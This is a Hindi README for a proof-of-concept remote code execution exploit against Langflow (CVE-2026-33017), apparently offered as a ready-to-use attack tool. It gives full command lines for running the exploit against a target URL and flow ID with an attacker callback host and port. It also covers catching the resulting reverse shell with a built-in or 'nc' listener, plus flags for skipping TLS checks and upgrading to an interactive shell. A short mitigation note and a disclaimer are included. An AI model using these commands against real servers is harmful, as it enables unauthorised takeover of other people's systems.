
CVE-2026-33017 Langflow RCE PoC
Langflow में बिना प्रमाणीकरण वाली build_public_tmp कोड-निष्पादन खामी के लिए PoC।
यह एक दुर्भावनापूर्ण घटक को सार्वजनिक flow पर अपलोड करता है, build ट्रिगर करता है, और reverse shell पकड़ता है।
केवल अधिकृत सुरक्षा परीक्षण के लिए। केवल उन्हीं सिस्टमों पर उपयोग करें जिनके आप स्वामी हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास है।
requests (pip install requests)अंतर्निहित listener चलाएँ और exploit को एक ही बार में दागें:
python3 poc.py \
--url https://target:7860 \
--flow-id <public-flow-uuid> \
--lhost <your-ip> \
--lport 4444 \
--listen
जब shell कनेक्ट होता है, तो यह स्वचालित रूप से पूर्ण इंटरैक्टिव shell में अपग्रेड करने का प्रयास करता है।
यदि आप अपना खुद का listener उपयोग करना चाहें (जैसे nc -lvnp 4444), तो --listen हटा दें:
python3 poc.py --url https://target:7860 --flow-id <uuid> --lhost <your-ip> --lport 4444
CVE-2026-33017, Langflow के POST /api/v1/build_public_tmp/{flow_id}/flow endpoint में एक बिना प्रमाणीकरण वाला RCE है, जो बिना sandboxing के flow node परिभाषाओं से हमलावर द्वारा आपूर्ति किया गया Python निष्पादित करता है। अधिक जानने के लिए नीचे दिए गए संसाधन देखें:
Sysdig Threat Research लेख से शमन उपाय:
/api/v1/build_public_tmp endpoint तक नेटवर्क पहुँच प्रतिबंधित करें या सार्वजनिक flow निर्माण पूरी तरह अक्षम कर दें।यह टूल शोध और अधिकृत पैठ परीक्षण के लिए प्रदान किया गया है। लेखक दुरुपयोग या क्षति के लिए कोई जिम्मेदारी नहीं लेता है।
| फ़्लैग | विवरण |
|---|
--url | लक्ष्य Langflow सर्वर URL (आवश्यक) |
--flow-id | साझा सार्वजनिक flow का UUID (आवश्यक) |
--lhost | Reverse shell कॉलबैक IP (आवश्यक) |
--lport | Reverse shell कॉलबैक पोर्ट (आवश्यक) |
--listen | अंतर्निहित listener चलाएँ |
--timeout | HTTP अनुरोध टाइमआउट सेकंड में (डिफ़ॉल्ट 30) |
-k, --insecure | TLS प्रमाणपत्र सत्यापन अक्षम करें (self-signed / समाप्त हो चुके प्रमाणपत्र) |
--no-upgrade | स्वचालित TTY अपग्रेड छोड़ें, बुनियादी लाइन shell का उपयोग करें |